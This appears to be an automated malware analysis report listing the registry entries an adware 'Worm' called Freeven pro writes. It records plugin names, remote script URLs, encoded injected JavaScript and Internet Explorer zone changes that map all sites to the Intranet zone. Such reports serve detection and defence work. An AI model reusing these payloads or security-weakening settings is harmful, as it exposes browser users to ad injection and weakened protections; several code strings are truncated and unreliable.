[HKCU\Software\Freeven pro\Plugins\14]
"Name" = "CrossriderUtils"

[HKCU\Software\Freeven pro\Plugins\102]
"Name" = "dealply_m"

[HKCU\Software\Freeven pro\Manifest]
"UninstallerOfferUrl" = "NA"

[HKCU\Software\Freeven pro\Plugins\246]
"Version" = "17"

[HKCU\Software\Freeven pro\Plugins\38]
"Version" = "4"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Freeven pro\Plugins\64]
"JavaScript" = "(function(){var j=__CR_EMPTY_CHANNEL__;var d=function(e){return(typeof e===object&&e!==null);};var b=function(e){return(!!e&&typeof e===string);};var f=function(l){var e;if(typeof l===function){e=j;}else{if(d(l)&&b(l.channel)){e=l.channel;}else{e=j;}}return e;};var k=function(m,e){var l={wrapperMessage:{message:m,channel:f(e)},toIframes:d(e)?e.toIframes:e};return l;};var i=function(m,e){var l={message:m,channel:f(e)};return l;};var h=function(){var e={};e.addListener=appAPI.message.addListener;e.removeListener=appAPI.message.removeListener;e.toActiveTab=appAPI.message.toActiveTab;e.toAllOtherTabs=appAPI.message.toAllOtherTabs;e.toAllTabs=appAPI.message.toAllTabs;e.toBackground=appAPI.message.toBackground;e.toCurrentTabIframes=appAPI.message.toCurrentTabIframes;e.toCurrentTabWindow=appAPI.message.toCurrentTabWindow;e.toPopup=appAPI.message.toPopup;return e;};var a=function(e){appAPI.message.addListener=function(l,o){var n=null;var m;var p=f(l);if(typeof l===function){n=function(q){if(p===q.channel){6"

[HKCU\Software\Freeven pro\Plugins\230]
"Name" = "revizer_ws_dynamic_b2b_2_m"

[HKCU\Software\Freeven pro\Plugins\233]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDE2NzdiNGMxZDEwMTIxZTM2MDcxNjRmNDg0ZTU3MGMxMjFhMTM0ZjU1NDIxMzFkMDcxMjRiMGY0ZDE0MTEwYzFmMGYxYzBjMDI0MDBkMTAwZTQyMDEwYTVhNTU1MTVlNTM1YTRiNWQ0NzVlNWIwZTE1NGM0ZjdmNzM0ZjFhMWEwMTE0MTUzYjExMTk1ODU3NTI0YzFkMTAxMjFlMTA0ZjU1NDIxMzFkMDcxMjRiMGY0ZDE0MTEwYzFmMGYxYzBjMDI0MDBkMTAwZTQyMDEwYTVhNTU1MTVlNTM1YTRiNWQ0NzVlNWIwZTE1NGM0ZjdmNzM0ZjAyMDIwMDAzMGYwMDJhMTE1ODU3NTI1YzQ2NTc0YTY0NDM1NTVhNGQ1MDE4MTAxNjEyMDcwMDE0MTY0ZjQ4NGUyZTQ2MDcwYTEwNTcyNzQxNzg0ZTU1NDQ0NjRjMGExYjE2MDQxYzBiM2YzNzQ0NTQ0MzU3MGQwNDFjMGExYTEzNDgzMTExMDMwMDVjNDU1ZTQ1MWM1NzVlNTY0NTVhNTA1MjE1NTU0MzE2MWIwMTE5MTMxZTFhMGIwNzNiMTUxYjAxMWMxZTRhNDg0ZTUyM2IzOTJkMzEzYTI5M2UyMDI3MzEyMTM0MzEyNjJkMmUyODNjMmEzMDIwMzkzZDM2MzcyNTI0MzYzMTJhNDM0YTRlNDQxNDFlMDkxZDAwMWIwNTBiMGI0NDRmNWE0YTJkMzEzNjM2MjkzZDMwMjczMzI5MzczYzJhMjUzNjNlM2MzYjNiMjAzNzMxMmE0MzFiNTU0MTdmMDc=', 'zmrnudfncu'); }"

[HKCU\Software\Freeven pro\Plugins\46]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\91]
"JavaScript" = "(function(M){window.__loaderIsRunning__=false;var A=[].slice;var z={};var a=function(at){if(typeof at==string&&typeof at.trim==function){return at.trim();}return at==null?:at.toString().replace(/^\s /,).replace(/\s $/,);};function f(at){var au=z[at]={},av,aw;at=at.split(/\s /);for(av=0,aw=at.length;av
[HKCU\Software\Freeven pro\Plugins\4]
"JavaScript" = "var jQuery = $jquery_171 = $jquery = null;if (document && typeof document.getElementById !== undefined) {/*! jQuery v1.7.1 jquery.com | jquery.org/license */(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f().appendTo(b),e=d.css(display);d.remove();if(e===none||e===){cl||(cl=c.createElement(iframe),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode===CSS1Compat?:) ),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,display),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject(Microsoft.XMLHTTP)}catch(b){}}function ci(){try{return new a.XMLHttp-6"

[HKCU\Software\Freeven pro\Plugins\380]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWE3Mzc4NDcwMTE3MWUxNjJkMGEwZDViNGI0NTRiMGIxZTEyMDg0MjRlNTYxMjAxMDc0ZDBkMDkwYjExMDYxNzAyMDAxYjE1NDQwNTE3MTU0ZTFhMTI0YTA4NGQwMDE1NDcyNzNlMGEwMzA2MzYwZjA1MDUxOTBjMGUwYjJlM2E1NDAwMDk0NDU0NzI2ODViMTkxMTFkMTMxOTMzMGExNDQzNDM1MTQ3MDExNzFlMTYwYjQyNGU1NjE1NTcwODViMGI1MjA5NDE0ZjBhMDIwOTQ3MGIxZDA1MWMxNjRmMTcxNDExNDYwMDA5NDkxOTU2MGIwYTRlM2EzNjEwMTgwNTI3MTQwZTFhMTAxMTA2MTEzNTM5NDUxYjAyNWI1ZDZmNjA0MTFhMGEwZDFmMDgxNzM4MDE0YjU5NGE1NTQwNDg0ZDczNTE0NTQ5NDM0ODBmMTYxNDA4MTcxNDJmM2E0MTUwNDY1YTBmMDgxNzE1MGExZTRkMzUzOTE2MGMwNzI2MTgwNzAwMDAzNTM5NDU1ZjNlMjYzMjM3MjYzMDM5MzQzMTNjMjQyYjJlMmMyNzMwM2UyNzM0MzQyNDJiMmUzMDNhMjYzODM5MzEzYzNlMjY1NjVlMWUwYTA0MDIxNzBmNGYyNjJlMGIxZDA1MzUxMDFkMGEwODI2MmU1ODRlM2MzNTI1MmEzNzMyMmEyMzJjMmQyNjM4MzkyZTNkMzMzMDM3MmMyYzMxMzUzOTVmNDMxNjEwMWYwMTA2MTQ0NDM5MjcxNjE1MWYyZTA3MWIzYzM1NWI1ZjI3M2UzYTIzMmEzYTMwMzgyZjNjM2QzMzI2MzMzNzI2MzQzOTIzMmEyNzNlNWU0YTEyMDAwZDBlMDkwZjU2M2UyNjFmMTEwZjNjMDkwYjA4MjczZTQ0NTYzYTM2MjAzODI5MmIyYjMzMzAzNTIwM2IzYzI5MjczNTI4M2UzMDM1M2EzNjQ0NTExF6"

[HKCU\Software\Freeven pro\Manifest]
"PluginsManifestVersion" = "103"

[HKCU\Software\Freeven pro\Plugins\37]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/37.js"

[HKCU\Software\Freeven pro\Plugins\226]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\380]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/380.js"

[HKCU\Software\Freeven pro\Plugins\375]
"Name" = "Dealply_tourist_widget_m"

[HKCU\Software\Freeven pro\Plugins\221]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\14]
"Version" = "11"

[HKCU\Software\Freeven pro\Plugins\42]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/42.js"

[HKCU\Software\Freeven pro\Plugins\38]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/38.js"

[HKCU\Software\Freeven pro\Plugins\334]
"Version" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Freeven pro\Plugins\354]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/354.js"

[HKCU\Software\Freeven pro\Plugins\37]
"Name" = "IEBrowserEvents"

[HKCU\Software\Freeven pro\Plugins\35]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/35.js"

[HKCU\Software\Freeven pro\Manifest]
"SetNewTab" = "false"
"Name" = "Freeven pro"

[HKCU\Software\Freeven pro\Plugins\253]
"Version" = "2"

[HKCU\Software\Freeven pro\Plugins\281]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGE2YjdhNWIwMDE3MTAxMTJkMTExZDQzNDk1OTRhMGIxMDE1MDg1OTVlNGUxMDE1MDMwNzAxMDAxNDEwNWYwMjFjMTQ0NzAyMDAzMjFkMTEwNzA0NWMxZTBkMTczMDAwMWY1YzAxMDgxNzQ0NTk1MjU0NTM0OTQ1MTIwODE3NDQzNzNjMjczMzM3MzAyMjMzM2EzZDJkMzEzYjI0MjAzNzM0MmYzNzNjMmMzYzM3MzQzYTNjMzgyNTJjMjY0ZTAyMTQxMTM2MDIxYzA0NGUyNjM3MjAzNjJlMmIzMDIzMjgzNzNjM2EzYzI1MzEyODNjM2YyMDNlM2MzNzNjNDY0ZDcyNmE1MzExMWYwYzBmMGEwYTI4MWM0MTRiNDE0MTQxNTk2OTE5', 'qasyhcdaxc'); }"

[HKCU\Software\Freeven pro\Plugins\94]
"Version" = "2"

[HKCU\Software\Freeven pro\Plugins]
"BrowserEventPluginList" = "14,42,41,44,39,38,43,37,64"

[HKCU\Software\Freeven pro\Plugins\221]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/221.js"

[HKCU\Software\Freeven pro\Plugins\3]
"Version" = "2"
"Name" = "ie8_fix_2"

[HKCU\Software\Freeven pro\Plugins\184]
"Name" = "noproblemppc_m"

[HKCU\Software\Freeven pro\Plugins\13]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/13.js"

[HKCU\Software\Freeven pro\Plugins\41]
"JavaScript" = "if(typeof appAPI===""undefined""){appAPI={};}(function(a){appAPI.isBackground=false;appAPI.tabId=a.getBhoInstanceId();appAPI.getTabId=function(){return appAPI.tabId;};appAPI.isActiveTab=function(){return appAPIinternal.isActiveTab();};appAPI.platform=""IE"";if(typeof appAPI.appInfo===""undefined""){appAPI.appInfo={};}var c=appAPI.internal.prefs.getChar(""fullVersionForUrl""

[HKCU\Software\Freeven pro\Plugins\220]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/220.js"

[HKCU\Software\Freeven pro\Plugins\184]
"Version" = "11"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Freeven pro\Plugins\91]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/91.js"

[HKCU\Software\Freeven pro\Plugins\44]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/44.js"

[HKCU\Software\Freeven pro\Code]
"NewTabJavaScript" = ""

[HKCU\Software\Freeven pro\Plugins\230]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDM3YzY3NDMwMDFlMWUwODNkMWYxNDU0NTQ0MTRhMDIxZTBjMTg1NzU3NTkwZjEyMWExYzQ3MTk0NjBjMTMxNzAzMDAwMTAyMGU1NjA2MDgwYzU5MWQwNTQ3NWI1ZDQ4NTg0MjQ5NDY1YTU3NDYwMDE5NWE0NDY3NzE1NDA2MTUxYzFhMTkyZDFhMDE1YTRjNGU0MzAwMWUxZTA4MWI1NzU3NTkwZjEyMWExYzQ3MTk0NjBjMTMxNzAzMDAwMTAyMGU1NjA2MDgwYzU5MWQwNTQ3NWI1ZDQ4NTg0MjQ5NDY1YTU3NDYwMDE5NWE0NDY3NzE1NDFlMGQxZDBkMDMxNjIxMDk1YTRjNGU1MzViNWE0NjcyNDg0ZDU4NTY0YzE3MGQxODFlMTEwYjBjMTQ1NDU0NDEzMzQ4MGIxYzFiNGYyNTVhNjQ0MTQ4NGE0YTVhMDEwMzE0MWYwMDA0MjIzOTQ4NDI0ODRmMGYxZjAwMDUwNzFkNDQyNzFhMWIwMjQ3NTk1MTU4MTI1YjQ4NWM1YjU4NGI0ZTFhNDg0ZDFhMGQwYTAxMTEwNTA2MDQxYTM1MTkwZDBhMDQxYzUxNTQ0MTRmMzUzNTNiM2EyMjJiMjUzYzI4MmMyZjM4MjcyZDM1MmMzMzIwMjUyZDJlMzUyYjNkMmYyNzNmMmEzZTM3NGQ0NjU4NGYwYzFjMTIwMTBmMDYwYjA3MWQ0ZjU3NTg1MTMxM2UyYjM4MjUyYjNiM2YzMTMyMmIzMzM3MmIzYTI4MzcyMzM5M2IyYjNlMzc0ZDE3NDM0YTY3MDU=', 'xvnahjjxhm'); }"

[HKCU\Software\Freeven pro\Plugins\200]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/200.js"

[HKCU\Software\Freeven pro\Plugins\253]
"Name" = "pixel_inject"

[HKCU\Software\Freeven pro\Plugins\47]
"JavaScript" = "(function(){appAPI.ready=function(a){appAPI.resources.isReady(a);};}());var CrossRiderResourcesManager=(function(){var C={appId:(function(){var D=appAPI.appInfo;if(D){return appAPI.appInfo.id;}else{return appAPI.appID;}})(),url:{base:{production:http://resources.crossrider.com,staging:http://staging-app.crossrider.com},update:/apps/{appId}/resources/meta/{lastVersion}},env:appAPI.appInfo.environment===staging?staging:production,saveResource:appAPI.time.daysFromNow(90),nextCheck:360,DBNamespace:Resources_,isDebug:(appAPI.internal.debug.isDebugMode()&&appAPI.internal.db.get(debug_resources_path))},w=o(meta)||{},g=o(remote_resources)||{remoteId:0},t=o(queue)||{},B=o(lastVersion)||0,A,s;appAPI.resources={init:function(){if(C.isDebug){h();}else{l(function(D){if(D){k();}else{h();}});}},isReady:function(D){s=D;if(A){h();}},get:function(D){if(typeof jQuery!==undefined){D=jQuery.trim(D);}return b(D,string);},includeCSS:function(G,F){if(typeof jQuery!==undefined){G=jQuery.trim(G);}var E=b6"

[HKCU\Software\Freeven pro\Plugins\226]
"Name" = "set_campaign_id_m"

[HKCU\Software\Freeven pro\Plugins\45]
"Name" = "IEOnRequest"

[HKCU\Software\Freeven pro\Plugins\223]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDI3ZDc5NTUxMjA1MGQxYzI0MDgxNTU1NGE1NzU4MTkwZDE4MDE0MDU2NTgxMzEzMTQ1ZjBmMDUwMjFiMWQxMzVlMTQxNTFjNTYxZjEyMDgxMDA3MDQ1ODRiNDU0YzVhNDY0ZDRiNDI0NzQxNGY1ZTA5MWUxNDE2MTYxNjE0NTkxMDAyNDYxZjA0MTgxMDEzNGQyODI1MzIyYjIzMjIyOTJiM2UzNDMyMjgyZTNjMzQyNTNmMzczMzM1MzMyNTIyMmMyZTJlMzMzZDI4MmY1MTBmMWM0NDMzMmUzOTJiMzgyMzI0MjgzODNkMjkyMzI1MzgyNzIwMjgzNDMwMzQyOTJlMjU1YjViN2E3ZTU4MTkwZDE4MDEwOTJjMDUxYzU1NDA1MTViMDQwNTBlMDkwNDRhNTg1NTEyMWQwMjVmMGMxMDA0MTExMzFlNWYxYTAzMWM1NTBhMTQwMjFlMGEwNTU2NWQ0NTRmNGY0MDQ3NDU0ZjQ2NGY1OTVlMGEwYjEyMWMxODFiMTU1NzA2MDI0NTBhMDIxMjFlMWU0YzI2MzMzMjI4MzYyNDIzMjUzMzM1M2MzZTJlM2YyMTIzMzUzOTNlMzQzZDMzMjIyZjNiMjgzOTMzMjUyZTVmMTkxYzQ3MjYyODMzMjUzNTIyMmEzZTM4M2UzYzI1MmYzNjJhMjEyNjIyMzAzNzNjMjgyZjU1NTY3YjcwNGUwMTE2MGMxMDE5MTkzMzE1NWI1NjUxNDg0YjQ0N2EwYQ==', 'ywpwzqylqz'); }"

[HKCU\Software\Freeven pro\Plugins\40]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/40.js"

[HKCU\Software\Freeven pro\Code]
"AppJavaScript" = ""

[HKCU\Software\Freeven pro\Plugins\46]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};appAPI.internal={};appAPI.internal.callbacks={};}else{if(typeof appAPI.internal===undefined){appAPI.internal={};appAPI.internal.callbacks={};}else{if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}}}appAPI.internal.callbacks.timersListeners={};appAPI.internal.callbacks.timersIsInterval={};appAPI.internal.callbacks.timer=function(b){var a=b.timerId;if(typeof a!==number){return;}if(typeof appAPI.internal.callbacks.timersListeners[a]===undefined){return;}var d=appAPI.internal.callbacks.timersListeners[a];if(!appAPI.internal.callbacks.timersIsInterval[a]){clearInterval(a);delete appAPI.internal.callbacks.timersListeners[a];delete appAPI.internal.callbacks.timersIsInterval[a];}try{d();}catch(c){console.error(setInterval/setTimeout - Caught an exception from user callback: (typeof c.message===string?c.message:???));}};(function(a){appAPI.setInterval=function(d,c,e){if((typeof d!==undefined)&&(typeof c===number)){var b=a.setIn6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Freeven pro\Plugins\233]
"Version" = "7"
"Name" = "revizer_p_dynamic_b2b_2_m"

[HKCU\Software\Freeven pro\Plugins\226]
"URL" = "http://js.ourstatsstaticstack.com/plugins/javascripts/monetization/geo/set_campaign_id_m.js"

[HKCU\Software\Freeven pro\Plugins\43]
"Version" = "5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Freeven pro\Manifest]
"UpdateInterval" = "360"

[HKCU\Software\Freeven pro\Plugins\64]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/64.js"

[HKCU\Software\Freeven pro\Plugins\281]
"Name" = "ibario_tier3_pops_m"

[HKCU\Software\Freeven pro\Plugins\102]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDM3YTU0NTU1NTU1NDYxODFmMWEwODI1MDYxOTU3NGY0NDUyMDMxYTBjMDA0ZTVhNWExYzRhMTMxOTBjMGIxYTA3NWIxYzFiMDIxZjQ0MGQwYTEyMTI1YTFmMTQxMjExMTgwZDBhMTkwNDAxNWIxZjE3NGYwODA2MTkxZTFhMTAxOTQ4MDcwMjBmMWMyNzJmMmIzNjI3M2EzNzIzMzkyNzNjMzUyNjJhMzAyZDMwMzUyNTJhM2QzNDJiMjYyMDM3M2IzOTJmMzEyNzU2MTUwNTA1MjEwZDA0MDcwYjQ1MmYyYjM2MjczYTM3MjMzOTI3M2MzNTI2MmEzNDI1MzQyZjI1MmYzNTM1MmIyYTUzMWQwZDE0NTYzMTI3MzMyNjNhMjYyNjM2MzkyZjJiMmEyZjIxMjYzMDI3M2IzOTJmMzEyNzUyNTg3ZjU1NTU0NDUwNDkwNjBjMDQwNDA2MjAwNzA4NTI1MTRlNWExODAwMDEwNTA2NWU1ZjQ0MDcyNzEzMDYxNzA2MWYxNzJmMDIwMDFlMWY1YTAxMTkwNjA3MTQwNTQwMWIxZjE5NWExNjA3MDYxNjQ0MDQxOTA2MTUwNjE2MDcwZDAwMWY0MDEyMDM0YjE2MWQxNDBhMWUwZTAyNDUxMzA2MTEwNzJhM2IyZjI4M2MzNzIzMjcyNzNjMzEyMTIyMzQyYjIwMjQzMTNiMzEzMDIwMmYzODNiM2EyZjNkMzEyYTJhNDIxMTFiMWUyYzE5MDAxOTEwNDgzYjJmMjgzYzM3MjMyNzI3M2MzMTIxMjIzNDJmMjgyMDJiM2IzNDM4MjEyZjM0NDgxMDE5MTA0ODJhMmEyNzIyMjQzZDJiMjIzZDMxMzAyNzNiMjUzODJiMmEyZjNkMzEyYTJhNDY1YzYxNGU1ODUwNTQ1NzA1MTkxMTE3MDIwMDMxMTQ1NjRmNTU0NDU0NDI2MTEz', 'xptuuudpkn'); }"

[HKCU\Software\Freeven pro\Plugins\273]
"Version" = "6"

[HKCU\Software\Freeven pro\Plugins\223]
"Name" = "imonomy_m"

[HKCU\Software\Freeven pro\Plugins\39]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/39.js"

[HKCU\Software\Freeven pro\Plugins\44]
"Version" = "6"

[HKCU\Software\Freeven pro\Plugins\223]
"Version" = "9"
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/223.js"

[HKCU\Software\Freeven pro\Plugins\78]
"Name" = "CrossriderInfo"

[HKCU\Software\Freeven pro\Plugins\354]
"Name" = "categories"

[HKCU\Software\Freeven pro\Plugins]
"OnRequestPluginList" = "14,42,41,39,38,43,45,64"

[HKCU\Software\Freeven pro\Plugins\40]
"Name" = "IEExtension"

[HKCU\Software\Freeven pro\Plugins\38]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.callbacks.genericEvent=function(e){var d=e.eventContent;if(typeof d===undefined){return;}var a=e.eventName;if(typeof a===undefined){return;}if(typeof appAPI.internal.callbacks[a]===undefined){return;}if(typeof appAPI.internal.callbacks[a].handler!==undefined){var b=appAPI.internal.callbacks[a].handler(d);if(b){return;}}if(typeof appAPI.internal.callbacks[a].listeners===undefined){return;}for(var c in appAPI.internal.callbacks[a].listeners){appAPI.internal.callbacks[a].listeners[c](d,c);}};appAPI.internal.callbacks.addListener=function(b,a,c){if(typeof appAPI.internal.callbacks[b]===undefined){appAPI.internal.callbacks[b]={};appAPI.internal.callbacks[b].listeners={};appAPI.internal.callbacks[b].listenersAdditionalData={};appAPI.internal.callbacks[b].listenersIds=0;appAPI.internal.callbacks[b].numberO6"

[HKCU\Software\Freeven pro\Plugins\17]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/17.js"

[HKCU\Software\Freeven pro\Plugins\3]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/3.js"

[HKCU\Software\Freeven pro\Manifest]
"DisableIe" = "true"

[HKCU\Software\Freeven pro\Plugins\391]
"Name" = "50intext_new_m"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Freeven pro\Plugins\35]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}(function(e){if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}function f(m){if(typeof m===object){return m;}if(typeof m!==string){return null;}m=m.replace(/\r\n/g,\n);if(m.lastIndexOf(\n) 1==m.length){m.replace(/(?:(?:^|\n)\s |\s (?:$|\n))/g,).replace(/\s /g, );}var n=m.split(\n);var l={};for(var k=0;k
[HKCU\Software\Freeven pro\Plugins\7]
"Name" = "hooks"

[HKCU\Software\Freeven pro\Plugins\242]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\3]
"JavaScript" = "(function(){var b=dummy so this plugin won't be empty;})();"

[HKCU\Software\Freeven pro\Plugins\390]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGQ2ZDY4NWEwYzFmMTMxNTNiMDMxYTQ1NWI1ODQ2MDMxMzExMWU0YjU5NDgwMjFjMGEwODA2MDYwNjE0NWIwNjRmMTkwZjBhMGEwNDA3MTkxMjQ5MGYxZDEwNDQxNDEwMGM1ZTFlNTc1ODQwNTYwOTAyNGEzMTJlMzUzNTJlMmIzNzM5MmUyMTJiMjMyOTIyMzkyYzIxMjUyMzIwMmEyZTI1MzIyMzI3MmQyZjM4M2E0MTFkNTgwZDEyNDcxNDAyMDM1ODVjNDM0ZjUyNDcxZDFjMWY1YTNhMzEzMjI0MjgzMjJiMzYyMjIzMjAzYzJlMzczNzMxMjcyYTJhMmEyMDMxMmU1NDRiNmI3MTQ2MDMxMzExMWUwMjIzMTUwZDVhNWU0YjQ1MGQxYTA1MDYxNDViNTc0YjA4MDMwYjBkMTAxNTBmMDQ1NTA1NDUwNjBlMGYxYzE3MGUwOTFjNGEwNTAyMTE0MTAyMDMwNTRlMTA1NDUyNWY1NzBjMTQ1OTM4M2UzYjM2MjQzNDM2M2MzODMyMjIzMzI3MjEzMzMzMjAyMDM1MzMyMzNlMmIzMTI5MzgyYzJhMmUyOTQ4MGQ1NjBlMTg1ODE1MDcxNTRiNTU1MzQxNTE0ZDAyMWQxYTRjMjkzODIyMmEyYjM4MzQzNzI3MzUzMzM1M2UzOTM0M2IzODJiMmYzYzMzMzgzZTVhNDg2MTZlNDcxZTFkMDMwMDA4MTYyZDBmNDU1ZjRlNDI0ZjU3NmIwNQ==', 'vgaxdkgenq'); }"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKCU\Software\Freeven pro\Plugins\41]
"Name" = "IEInfo"

[HKCU\Software\Freeven pro\Plugins\9]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/9.js"

[HKCU\Software\Freeven pro\Plugins\193]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWQ2MjdhNDMwMzBlMTIwMDM4MDIwYTRhNDk0MTQ5MTIxMjA0MWQ0YTQ5NDcxMjEyMTkwYzRiMTE0MzExMGQwOTFlMDAwMjEyMDI1ZTAzMTUxMjQ3MDAwNTQ0NGI1MTQwNWQ1ZjU3NTg0MTU1NDUxMDE1NTI0MTdhNmY0YTFiMTUxZjBhMTUyNTFmMWM0NDUyNTM0MzAzMGUxMjAwMWU0YTQ5NDcxMjEyMTkwYzRiMTE0MzExMGQwOTFlMDAwMjEyMDI1ZTAzMTUxMjQ3MDAwNTQ0NGI1MTQwNWQ1ZjU3NTg0MTU1NDUxMDE1NTI0MTdhNmY0YTAzMGQxZTFkMGYxZTI0MTQ0NDUyNTM1MDUyNDk0YTdhNGQ1MDQ2NDg1MTE3MGUwODEyMTkwZTExMGE0YTQ5NDEzMDU4MDcxNDFlNTIzYjQ0Nzk0MTRiNWE0NjUyMDQxZTBhMDExZDA0MjEyOTQ0NGE0ZDUyMTEwMTFkMDUwNDBkNDgyZjFmMDYxYzU5NDQ1MTViMDI1NzQwNWY0NDQ2NTU1MzFhNGI1ZDE2MDUwZjFjMGYxYjFiMDQxOTI1MTUwNTBmMTkwMjRmNDk0MTRjMjUzOTMzM2YzZjM1M2IyMTI4MmYzZjM0MmYyODI4MzIyZDNkMjUyZTNlMzkyMzM4MzIzOTIxMzczZTM0NWQ0YTUwNGExMTAyMGMxYzBmMDUxYjBiMTU0YTRhNDY0ZjJjM2UyODI4MjkyMzNlMjIyZjJjMzYzMzM0M2IzNjIwMzIzZTI3MjUzNjNlMzQ1ZDFiNGI0ZjdhMWI=', 'fhsakzfpmp'); }"

[HKCU\Software\Freeven pro\Plugins\78]
"JavaScript" = "if(typeof jQuery!==undefined&&(jQuery)&&typeof window.navigator!==undefined&&typeof window.navigator.userAgent!==undefined){(function(d,c,e){var a,b;d.uaMatch=function(h){h=h.toLowerCase();var g=/(opr)[\/]([\w.] )/.exec(h)||/(chrome)[ \/]([\w.] )/.exec(h)||/(firefox)[ \/]([\w.] )/.exec(h)||/(webkit)[ \/]([\w.] )/.exec(h)||/(opera)(?:.*version|)[ \/]([\w.] )/.exec(h)||/(msie) ([\w.] )/.exec(h)||h.indexOf(trident)>=0&&/(rv)(?::| )([\w.] )/.exec(h)||h.indexOf(compatible)
[HKCU\Software\Freeven pro\Plugins\242]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/242.js"

[HKCU\Software\Freeven pro\Plugins\376]
"Version" = "3"0>10?0>0?0:>

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Worm deletes the following registry key(s):

[HKCU\Software\Freeven pro\Plugins\177]
[HKCU\Software\Freeven pro\Plugins\184]
[HKCU\Software\Freeven pro\Plugins\4]
[HKCU\Software\Freeven pro\Plugins\191]
[HKCU\Software\Freeven pro\Plugins\37]
[HKCU\Software\Freeven pro\Plugins\36]
[HKCU\Software\Freeven pro\Plugins\35]
[HKCU\Software\Freeven pro\Plugins\13]
[HKCU\Software\Freeven pro\Plugins\38]
[HKCU\Software\Freeven pro\Plugins\14]
[HKCU\Software\Freeven pro\Plugins\17]
[HKCU\Software\Freeven pro\Plugins\91]
[HKCU\Software\Freeven pro\Plugins\93]
[HKCU\Software\Freeven pro\Plugins\207]
[HKCU\Software\Freeven pro\Plugins\78]
[HKCU\Software\Freeven pro\Plugins\72]
[HKCU\Software\Freeven pro\Plugins\94]
[HKCU\Software\Freeven pro\Plugins\64]
[HKCU\Software\Freeven pro\Plugins\223]
[HKCU\Software\Freeven pro\Plugins\244]
[HKCU\Software\Freeven pro\Plugins\246]
[HKCU\Software\Freeven pro\Plugins\242]
[HKCU\Software\Freeven pro\Plugins\182]
